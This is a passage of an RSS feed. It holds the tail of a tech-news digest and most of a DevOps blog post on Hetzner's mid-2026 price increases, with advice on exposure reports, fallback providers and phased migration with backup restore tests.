          📄 Gavriel Cohen found his own code inside OpenClaw, so he walked away
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gavriel-cohen-found-his-own-code-inside-openclaw-so-he-walked-away"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When Gavriel Cohen first saw OpenClaw, he knew he wanted it. At the time, Cohen (soon to be the founder The post Gavriel Cohen found his own code inside OpenClaw, so he walked away appeared first on T</p>
<p><strong>📅 May 31, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/nanoclaw-openclaw-agent-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-retrieval-at-scale-is-becoming-a-systems-problem-not-a-tooling-problem" class="group relative scroll-mt-24">
        <a href="#h3-ai-retrieval-at-scale-is-becoming-a-systems-problem-not-a-tooling-problem" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI retrieval at scale is becoming a systems problem, not a tooling problem
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-retrieval-at-scale-is-becoming-a-systems-problem-not-a-tooling-problem"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI retrieval has moved well beyond embeddings and vector search. Early retrieval architectures focused primarily on semantic similarity. Still, production The post AI retrieval at scale is becoming a </p>
<p><strong>📅 May 31, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-retrieval-at-scale/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-i-tested-cursors-new-jira-integration-and-its-5-stars-no-notes-heres-why" class="group relative scroll-mt-24">
        <a href="#h3-i-tested-cursors-new-jira-integration-and-its-5-stars-no-notes-heres-why" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 I tested Cursor’s new Jira integration and it’s 5 stars, no notes. Here’s why.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-i-tested-cursors-new-jira-integration-and-its-5-stars-no-notes-heres-why"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cursor launched its Jira integration last week. The integration was marketed as simple: assign a ticket in Jira and Cursor The post I tested Cursor’s new Jira integration and it’s 5 stars, no notes. H</p>
<p><strong>📅 May 31, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/cursor-jira-integration-test/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Hetzner's Third Price Increase in Three Months: What DevOps Teams Should Do]]></title>
      <link>https://devops.anhp.site/posts/hetzner-price-increases-2026</link>
      <description><![CDATA[Hetzner is changing dedicated server and cloud pricing again on June 15, 2026. Here is what changed, why customers are frustrated, and how to decide whether to stay, resize, or move workloads.]]></description>
      <pubDate>Thu, 28 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/hetzner-price-increases-2026</guid>
      <category><![CDATA[FinOps]]></category>
      
      <category><![CDATA[FinOps]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[Hetzner]]></category><category><![CDATA[DigitalOcean]]></category><category><![CDATA[Cost Optimization]]></category><category><![CDATA[Infrastructure]]></category>
      <content:encoded><![CDATA[<p>Hetzner has announced another pricing change, effective June 15, 2026. For many teams, the headline is not just &quot;prices are going up.&quot; It is that this feels like the third Hetzner pricing shock in roughly three months, with the newest announcement landing before customers can see the final price table.</p>
<p>If you run production workloads on Hetzner, this is not a reason to panic migrate. It is a reason to get precise about exposure: which servers are protected by existing terms, which workloads need new capacity soon, and which systems could move without turning a pricing update into an outage.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Hetzner&#39;s <a href="https://www.hetzner.com/pressroom/standardization-and-price-adjustment-of-our-server-products/">May 27 announcement</a> says it is standardizing dedicated server products and increasing monthly prices for new orders. The changes take effect on June 15, 2026.</p>
<p>The operational takeaways:</p>
<ul>
<li>Existing rented servers keep their current terms for this adjustment.</li>
<li>New orders, rescales, and future products can be affected.</li>
<li>Dedicated servers and cloud plans at all locations are in scope.</li>
<li>Server Auction, IPs, storage products, Load Balancers, Volumes, Snapshots, Object Storage, web hosting, and managed servers are listed as not affected by this specific announcement.</li>
<li>Hetzner has not published the final new prices yet.</li>
<li>The Reddit reaction is mostly about repeated adjustments and unclear numbers, not just the existence of a price increase.</li>
</ul>
<p>The right move is to build a short exposure report before deciding anything. Stable existing servers may be fine. Workloads that need frequent resizing deserve a closer look.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before you make a provider decision, gather:</p>
<ul>
<li>A current list of Hetzner cloud servers, dedicated servers, and Server Auction machines</li>
<li>Monthly spend by product line, environment, and owner</li>
<li>Planned capacity changes for the next 30-90 days</li>
<li>A backup and restore status for every production datastore</li>
<li>DNS TTLs, load balancer dependencies, and IP allowlists</li>
<li>One realistic fallback provider for each workload class</li>
</ul>
<h2 id="h2-what-actually-changed" class="group relative scroll-mt-24">
        <a href="#h2-what-actually-changed" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Actually Changed
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-actually-changed"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Hetzner&#39;s May 27 announcement has two separate parts.</p>
<p>First, Hetzner is standardizing the dedicated server portfolio. New dedicated server models will use clearer suffixes such as <code>-1</code>, <code>-2</code>, and <code>-3</code>. A <code>-1-Ltd</code> suffix will mark limited-quantity servers built from lower-cost hardware components.</p>
<p>Second, Hetzner says monthly prices are increasing for new orders. The company points to hardware procurement pressure, especially the cost of server components. It also says setup fees will be reduced for most dedicated servers.</p>
<p>For operators, the most important scope detail is this: currently rented servers are not affected by this specific adjustment. New orders, rescales of existing servers, and future products under the new structure are affected.</p>
<p>That creates two very different situations:</p>
<ul>
<li>A stable dedicated server fleet may not see an immediate bill change.</li>
<li>A growing cloud or dedicated fleet can still be exposed as soon as it adds or rescales capacity.</li>
</ul>
<p>That distinction matters. &quot;Hetzner is raising prices&quot; is too vague to act on. &quot;Our CI runner fleet creates new cloud servers every week&quot; is actionable.</p>
<h2 id="h2-why-customers-are-frustrated" class="group relative scroll-mt-24">
        <a href="#h2-why-customers-are-frustrated" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why Customers Are Frustrated
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-customers-are-frustrated"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Reddit thread titled <a href="https://www.reddit.com/r/hetzner/comments/1tpwusm/third_price_increase_in_three_months/">Third price increase in three months</a> is a good snapshot of the mood. Several comments focus on the same point: Hetzner announced another change, but the new prices are not visible yet.</p>
<p>That frustration did not come from nowhere. Hetzner&#39;s own pressroom shows a run of pricing-related updates in 2026:</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>Hetzner communication</th>
<th>What changed</th>
</tr>
</thead>
<tbody><tr>
<td>February 2, 2026</td>
<td><a href="https://www.hetzner.com/pressroom/statement-setup-fees-adjustment/">Statement on the adjustment of setup fees</a></td>
<td>Hetzner said dedicated server setup fees were changing because RAM and NVMe SSD procurement costs had risen.</td>
</tr>
<tr>
<td>February 23, 2026</td>
<td><a href="https://www.hetzner.com/pressroom/statement-price-adjustment/">Statement on price adjustment as of April 1st 2026</a></td>
<td>Hetzner announced price changes for existing products and new orders effective April 1.</td>
</tr>
<tr>
<td>April 29, 2026</td>
<td><a href="https://www.hetzner.com/pressroom/statement-on%20the-latest-adjustment-to%20setup-fees/">Statement on the latest adjustment to setup fees</a></td>
<td>Hetzner adjusted dedicated server setup fees again.</td>
</tr>
<tr>
<td>May 27, 2026</td>
<td><a href="https://www.hetzner.com/pressroom/standardization-and-price-adjustment-of-our-server-products/">Standardization and price adjustment effective June 15, 2026</a></td>
<td>Hetzner announced the new product structure and monthly price increases for new orders and rescales.</td>
</tr>
</tbody></table>
<p>Depending on how you count setup fees versus monthly prices, people will debate whether this is the third or fourth adjustment. For planning, that debate is less important than the pattern: teams can no longer assume Hetzner pricing is static across the year.</p>
<h2 id="h2-the-risk-is-bigger-than-the-monthly-bill" class="group relative scroll-mt-24">
        <a href="#h2-the-risk-is-bigger-than-the-monthly-bill" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Risk Is Bigger Than the Monthly Bill
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-risk-is-bigger-than-the-monthly-bill"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The obvious risk is a higher bill. The more useful question is whether the price change breaks an assumption in your infrastructure plan.</p>
<p>Examples:</p>
<ul>
<li>You planned to resize a database host after a traffic launch.</li>
<li>You rely on cheap ephemeral cloud workers for CI or batch jobs.</li>
<li>You sell hosting with thin margins and fixed customer pricing.</li>
<li>You keep extra capacity around because adding capacity has historically been cheap.</li>
<li>You assume Hetzner is always the cheapest acceptable provider, so no one has tested a fallback.</li>
</ul>
<p>Those are different problems. A stable server that keeps its terms needs documentation and monitoring. A workload that creates new machines every day needs a cost model.</p>
<h2 id="h2-build-an-exposure-report" class="group relative scroll-mt-24">
        <a href="#h2-build-an-exposure-report" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Build an Exposure Report
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-build-an-exposure-report"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Start with a small table. Do not try to solve the whole migration question in one meeting.</p>
<pre><code class="hljs language-text">Workload        Product type      Current state      Next resize?     Move difficulty
api-prod        Hetzner Cloud     existing           yes, 30 days     medium
postgres-prod   Dedicated AX      existing           no              high
ci-runners      Cloud             ephemeral          yes, weekly      low
object-store    Object Storage    existing           no              medium
staging         Cloud             existing           flexible        low
</code></pre><p>The useful column is <code>Next resize?</code>. Existing servers may be protected from this specific adjustment, but growth can still put you onto new pricing.</p>
<p>If you use the Hetzner Cloud CLI, export the current fleet first:</p>
<pre><code class="hljs language-bash">hcloud server list -o columns=<span class="hljs-built_in">id</span>,name,<span class="hljs-built_in">type</span>,location,status,ipv4
hcloud volume list -o columns=<span class="hljs-built_in">id</span>,name,size,location,server
hcloud load-balancer list -o columns=<span class="hljs-built_in">id</span>,name,<span class="hljs-built_in">type</span>,location
</code></pre><p>Then add the context the CLI cannot know:</p>
<ul>
<li>Who owns the workload?</li>
<li>Is it production, staging, CI, or batch?</li>
<li>Does it need new capacity before June 15?</li>
<li>Does it have tested backups?</li>
<li>Could it run somewhere else with only DNS and secret changes?</li>
</ul>
<p>This turns a provider announcement into a concrete task list.</p>
<h2 id="h2-decide-by-workload-class" class="group relative scroll-mt-24">
        <a href="#h2-decide-by-workload-class" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decide by Workload Class
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decide-by-workload-class"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Do not make one global decision for everything on Hetzner.</p>
<h3 id="h3-stable-dedicated-servers" class="group relative scroll-mt-24">
        <a href="#h3-stable-dedicated-servers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Stable dedicated servers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stable-dedicated-servers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If an existing dedicated server is stable, well-utilized, and hard to move, staying put may be the best decision. The announcement says currently rented servers are not affected by this adjustment.</p>
<p>For these systems, do the boring work:</p>
<ul>
<li>Confirm the current billing terms.</li>
<li>Record the hardware specs and replacement plan.</li>
<li>Verify backups with a restore test.</li>
<li>Keep a migration runbook current even if you do not plan to use it.</li>
</ul>
<h3 id="h3-frequently-resized-cloud-workloads" class="group relative scroll-mt-24">
        <a href="#h3-frequently-resized-cloud-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Frequently resized cloud workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-frequently-resized-cloud-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>These deserve the closest review. If your workload adds capacity often, the &quot;new orders and rescales&quot; language matters.</p>
<p>Model total workload cost, not just VM price:</p>
<pre><code class="hljs language-text">Monthly workload cost =
  compute
+ block storage
+ snapshots
+ backups
+ load balancers
+ bandwidth overages
+ support
+ engineering time
</code></pre><p>The cheapest VM is not always the cheapest workload. If a provider saves $40/month but adds three hours of operational work every month, it is not cheaper for a real team.</p>
<h3 id="h3-low-risk-disposable-workloads" class="group relative scroll-mt-24">
        <a href="#h3-low-risk-disposable-workloads" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Low-risk disposable workloads
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-low-risk-disposable-workloads"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you want to reduce provider concentration, start here:</p>
<ul>
<li>CI runners</li>
<li>Preview environments</li>
<li>Batch workers</li>
<li>Staging apps</li>
<li>Stateless internal tools</li>
</ul>
<p>These systems are useful migration drills. They reveal missing Terraform modules, secrets assumptions, DNS gaps, and observability gaps without putting your primary database at risk.</p>
<h2 id="h2-keep-one-simple-fallback-ready" class="group relative scroll-mt-24">
        <a href="#h2-keep-one-simple-fallback-ready" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Keep One Simple Fallback Ready
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-keep-one-simple-fallback-ready"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>For smaller teams, it helps to keep one boring fallback provider ready. DigitalOcean is a reasonable candidate for this role. It is not a perfect replacement for Hetzner dedicated servers, but it is easy to price, easy to explain, and good enough for many web apps, staging environments, internal tools, and smaller production services.</p>
<p>DigitalOcean&#39;s <a href="https://www.digitalocean.com/pricing/droplets">Droplet pricing</a> currently starts at $4/month for basic VMs, and the pricing page says Droplets use per-second billing with a monthly cap. That kind of predictable pricing is useful when your goal is optionality, not chasing the absolute lowest benchmark score.</p>
<p>Use any fallback provider as a test target first:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">provider:</span> <span class="hljs-string">digitalocean</span>
<span class="hljs-attr">candidate_workloads:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">ci-runners</span>
    <span class="hljs-attr">reason:</span> <span class="hljs-string">stateless</span> <span class="hljs-string">and</span> <span class="hljs-string">easy</span> <span class="hljs-string">to</span> <span class="hljs-string">recreate</span>
    <span class="hljs-attr">rollback:</span> <span class="hljs-string">disable</span> <span class="hljs-string">new</span> <span class="hljs-string">runners</span> <span class="hljs-string">and</span> <span class="hljs-string">re-enable</span> <span class="hljs-string">Hetzner</span> <span class="hljs-string">runners</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">staging-api</span>
    <span class="hljs-attr">reason:</span> <span class="hljs-string">low</span> <span class="hljs-string">traffic</span> <span class="hljs-string">with</span> <span class="hljs-string">simple</span> <span class="hljs-string">DNS</span> <span class="hljs-string">rollback</span>
    <span class="hljs-attr">rollback:</span> <span class="hljs-string">point</span> <span class="hljs-string">staging</span> <span class="hljs-string">DNS</span> <span class="hljs-string">back</span> <span class="hljs-string">to</span> <span class="hljs-string">Hetzner</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">internal-dashboard</span>
    <span class="hljs-attr">reason:</span> <span class="hljs-string">low</span> <span class="hljs-string">customer</span> <span class="hljs-string">impact</span> <span class="hljs-string">and</span> <span class="hljs-string">simple</span> <span class="hljs-string">data</span> <span class="hljs-string">model</span>
    <span class="hljs-attr">rollback:</span> <span class="hljs-string">restore</span> <span class="hljs-string">previous</span> <span class="hljs-string">deployment</span> <span class="hljs-string">target</span>
</code></pre><p>The goal is not to move everything. The goal is to make sure your team has a path if the final prices change the math.</p>
<h2 id="h2-migration-checklist" class="group relative scroll-mt-24">
        <a href="#h2-migration-checklist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Migration Checklist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-migration-checklist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If the June 15 prices push you toward migration, move in phases.</p>
<h3 id="h3-phase-1-classify-systems" class="group relative scroll-mt-24">
        <a href="#h3-phase-1-classify-systems" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 1: Classify systems
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-1-classify-systems"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text">Class A: stateful production systems, high migration risk
Class B: stateless production services, medium migration risk
Class C: staging, CI, batch, internal tools, low migration risk
</code></pre><p>Move Class C first. Leave Class A alone until restore tests, load tests, and rollback steps are proven.</p>
<h3 id="h3-phase-2-prove-backups" class="group relative scroll-mt-24">
        <a href="#h3-phase-2-prove-backups" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 2: Prove backups
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-2-prove-backups"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For PostgreSQL, do not stop at &quot;backup job succeeded.&quot; Restore it:</p>
<pre><code class="hljs language-bash">pg_dump --format=custom --file=prod.dump <span class="hljs-string">&quot;<span class="hljs-variable">$DATABASE_URL</span>&quot;</span>
createdb restore_test
pg_restore --dbname=restore_test --clean --if-exists prod.dump
psql restore_test -c <span class="hljs-string">&quot;select count(*) from users;&quot;</span>
</code></pre><p>For object storage, test reads from the restored copy:</p>
<pre><code class="hljs language-bash">aws s3 <span class="hljs-built_in">sync</span> s3://current-bucket ./restore-check \
  --endpoint-url <span class="hljs-string">&quot;<span class="hljs-variable">$CURRENT_S3_ENDPOINT</span>&quot;</span>

find ./restore-check -<span class="hljs-built_in">type</span> f | <span class="hljs-built_in">head</span>
</code></pre><h3 id="h3-phase-3-lower-dns-ttls-early" class="group relative scroll-mt-24">
        <a href="#h3-phase-3-lower-dns-ttls-early" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 3: Lower DNS TTLs early
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-3-lower-dns-ttls-early"
        >
